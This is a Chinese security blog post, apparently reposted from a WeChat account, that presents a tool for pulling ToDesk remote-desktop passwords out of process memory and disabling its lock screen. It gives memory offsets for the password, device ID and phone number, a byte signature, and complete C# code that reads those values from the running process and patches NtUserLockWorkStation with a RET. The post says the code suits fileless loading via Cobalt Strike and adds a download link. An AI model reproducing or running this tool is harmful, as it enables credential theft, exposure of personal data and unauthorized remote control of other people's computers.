前言
看了一些公众号的知X星球,发的都是dump之后下载文件到本地搜索特征获取的密码。那既然都是在内存里面,我们就直接用内存搜索的办法定位到对应的位置直接取出来,这不是更加简单快捷吗?还省去了下载的步骤。。。
查找密码实战
1、搜索
打开CE,搜索字符串,可以看到有两条动态地址存放。
进一步确认是哪个地址,我们修改一下这个临时密码,发现只有一个地址记录了当前的临时密码,所以选择它。
2、定位
我们确定了动态地址,这个动态地址在下次使用的时候肯定是会变的,所以我们需要找到静态地址。这里推荐使用指针的方式会比较好找。
直接点击确认,然后将缓存保存到某个地方即可,后续不用可直接删掉!
扫描结束之后,会有非常多的指针,我们进行二次排除,结束掉当前todesk进程,重新打开,再重复一下【搜索】的操作。获取到新进程的最新地址之后,重新进入到扫描器中,填入最新的地址,进行筛选。
3、分析数据
在上面两步骤的操作中,我们已经将指针范围缩小了,最后选择合适的指针使用即可。 在这里我选择[[ToDesk.exe+2277EB0] + 0X190]这个指针。
分析一下数据结构:
0x190 => 密码
0x290 => ID
0x490 => 手机号
0x510 => 版本号
4、特征码(非必看)
该步骤可以不看,这是为了后续方便更新,遇到新版本[[ToDesk.exe+2277EB0] + 0X190]这个地址会失效,所以我们需要特征码来定位[ToDesk.exe+2277EB0]。这样我们根据特征码来定位,只要todesk不进行大版本修改,这个特征码就可以一直获取到准确的基址。从而实现版本更新但工具不用更新的效果! 选择这个地址,然后F5,下断点查看谁访问了这个地址。
前方的路一片光明,直接就是静态地址的位置了。
#这是之前手动追的,所以跟文章中不太一样,提供的代码也是使用这个特征码 E8 ?? ?? ?? ?? 90 48 8B 0D ?? ?? ?? ?? 48 83 B9 ?? ?? ?? ?? 00
突破锁屏实战
1、查看导入表
我们发现在打开这个功能的时候,每次连接都会锁屏,导致需要输入锁屏密码才可以使用!
锁屏联想到一个API:LockWorkStation,如果todesk使用这个函数进行锁屏的话,那么他肯定需要调用这个函数,我们直接把他ret之后,这样可以直接跳过这个锁屏。验证过程就不发了,就是下一个断点的事情。
最终调用的是:win32u.NtUserLockWorkStation,我们直接或者这个地址,然后写一个ret即可。详细效果以及实现过程会在下方贴出源码。
代码实战
代码解读
1、定位进程并扫描内存,根据特征码查找数据结构地址。
2、读取特定偏移,提取如版本号、ID、密码、手机号等信息。
3、修改NtUserLockWorkStation,通过 WriteProcessMemory 写入 RET (0xC3) 指令实现阻止锁屏。
4、代码使用c#编写,方便大家使用CS直接加载!文件不落地,方便快捷。
using System; using System.Diagnostics; using System.Runtime.InteropServices; class SimpleModuleBaseFinder { [DllImport("kernel32.dll")] static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr LoadLibrary(string lpLibFileName); [DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); [DllImport("kernel32.dll", SetLastError = true)] static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); const int tableWidth = 40; const uint PROCESS_ALL_ACCESS = 0x1F0FFF; const uint PAGE_EXECUTE_READWRITE = 0x40; static void Main(string[] args) { string moduleName = "todesk.exe"; Process[] processes = Process.GetProcessesByName(moduleName.Replace(".exe", "")); if (processes.Length == 0) { Console.WriteLine("The process was not found."); return; } foreach (var pid in processes) { try { Process targetProcess = Process.GetProcessById(pid.Id); foreach (ProcessModule module in targetProcess.Modules) { if (module.ModuleName.ToLower() == moduleName) { IntPtr baseAddr = module.BaseAddress; int moduleSize = module.ModuleMemorySize; IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid.Id); if (hProcess == IntPtr.Zero) { return; } byte[] buffer = new byte[moduleSize]; ReadProcessMemory(hProcess, baseAddr, buffer, moduleSize, out int bytesRead); string pattern = "E8 ?? ?? ?? ?? 90 48 8B 0D ?? ?? ?? ?? 48 83 B9 ?? ?? ?? ?? 00"; var patternBytes = ParsePattern(pattern, out bool[] mask); for (int i = 0; i < buffer.Length - patternBytes.Length; i++) { bool matched = true; for (int j = 0; j < patternBytes.Length; j++) { if (!mask[j]) continue; if (buffer[i + j] != patternBytes[j]) { matched = false; break; } } if (matched) { /* 7FF7C3A6E8DE - E8 0DBAD8FF - call ToDesk.zuler::VideoFrameItf::hasUpdateRect+8570 #u5b9au4f4du5230u8fd9u4e2au4f4du7f6e 7FF7C3A6E8E3 - 90 - nop 7FF7C3A6E8E4 - 48 8B 0D C595E901 - mov rcx,[7FF7C5907EB0] { (97ECFCC30) } */ long offsetAddr = baseAddr.ToInt64() + i; byte[] offsetBytes = new byte[13]; ReadProcessMemory(hProcess, (IntPtr)offsetAddr, offsetBytes, offsetBytes.Length, out int _); int offset = BitConverter.ToInt32(offsetBytes, offsetBytes.Length - 4); long targetAddr = baseAddr.ToInt64() + i + offsetBytes.Length + offset; long value = ReadInt64(hProcess, (IntPtr)targetAddr); string password = ReadAsciiString(hProcess, value + 0x190, 16); string id = ReadAsciiString(hProcess, value + 0x290, 16); string phone = ReadAsciiString(hProcess, value + 0x490, 16); string version = ReadAsciiString(hProcess, value + 0x510, 16); PrintLine(); PrintRow("VERSION", version); PrintLine(); PrintRow("ID", id); PrintLine(); PrintRow("PASSWD", password); PrintLine(); PrintRow("IPHONE", phone); PrintLine(); PrintRow("LockWork", WriteLock(hProcess).ToString()); PrintLine(); } } } } } catch (Exception) { continue; } } } static byte[] ParsePattern(string pattern, out bool[] mask) { string[] tokens = pattern.Split(' '); byte[] bytes = new byte[tokens.Length]; mask = new bool[tokens.Length]; for (int i = 0; i < tokens.Length; i++) { if (tokens[i] == "??") { bytes[i] = 0x00; mask[i] = false; } else { bytes[i] = Convert.ToByte(tokens[i], 16); mask[i] = true; } } return bytes; } static long ReadInt64(IntPtr hProcess, IntPtr address) { byte[] buffer = new byte[8]; ReadProcessMemory(hProcess, address, buffer, buffer.Length, out _); return BitConverter.ToInt64(buffer, 0); } static string ReadAsciiString(IntPtr hProcess, long address, int length) { byte[] buffer = new byte[length]; ReadProcessMemory(hProcess, (IntPtr)address, buffer, buffer.Length, out _); return System.Text.Encoding.ASCII.GetString(buffer).Split('�')[0]; } static void PrintLine() => Console.WriteLine(new string('-', tableWidth)); static void PrintRow(string label, string value) => Console.WriteLine($"| {label,-10} | {value,-23} |"); static bool WriteLock(IntPtr hProcess) { IntPtr hWin32u = LoadLibrary("win32u.dll"); if (hWin32u == IntPtr.Zero) { returnfalse; } // 获取 NtUserLockWorkStation 地址 IntPtr addrNtUserLock = GetProcAddress(hWin32u, "NtUserLockWorkStation"); if (addrNtUserLock == IntPtr.Zero) { returnfalse; } // 修改内存保护 VirtualProtectEx(hProcess, addrNtUserLock, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out uint oldProtect); // 写入 0xC3 (RET) byte[] patch = { 0xC3 }; bool flag = WriteProcessMemory(hProcess, addrNtUserLock, patch, patch.Length, out IntPtr writelen); VirtualProtectEx(hProcess, addrNtUserLock, (UIntPtr)1, oldProtect, out uint _); return flag; } }
效果演示
获取方式
通过网盘分享的文件:todesk.zip
链接: https://pan.baidu.com/s/10r4eMJK2CwiZ8qCosrmWBw?pwd=dd9f 提取码: dd9f
原文始发于微信公众号(零攻防):【工具推荐】通过内存获取todesk密码与解除锁屏限制
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论